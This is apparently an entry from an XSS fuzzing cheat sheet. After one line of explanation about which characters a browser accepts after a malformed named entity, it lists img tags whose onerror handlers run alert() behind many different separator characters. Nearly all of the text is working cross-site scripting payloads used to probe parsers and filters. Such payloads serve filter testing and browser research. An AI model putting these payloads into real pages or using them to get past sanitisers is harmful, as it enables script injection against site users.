This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&$[chr]log($[i])"><img src=data: onerror="1& alert(8197)"><img src=data: onerror="1&0x0Balert(11)"><img src=data: onerror="1&~alert(126)"><img src=data: onerror="1&0x0Dalert(13)"><img src=data: onerror="1& alert(8199)"><img src=data: onerror="1&-alert(45)"><img src=data: onerror="1& alert(8196)"><img src=data: onerror="1&!alert(33)"><img src=data: onerror="1&
alert(8233)"><img src=data: onerror="1& alert(5760)"><img src=data: onerror="1& alert(8202)"><img src=data: onerror="1&alert(59)"><img src=data: onerror="1& alert(160)"><img src=data: onerror="1&
alert(8232)"><img src=data: onerror="1& alert(8192)"><img src=data: onerror="1& alert(8239)"><img src=data: onerror="1& alert(8194)"><img src=data: onerror="1& alert(8198)"><img src=data: onerror="1& alert(8195)"><img src=data: onerror="1& alert(32)">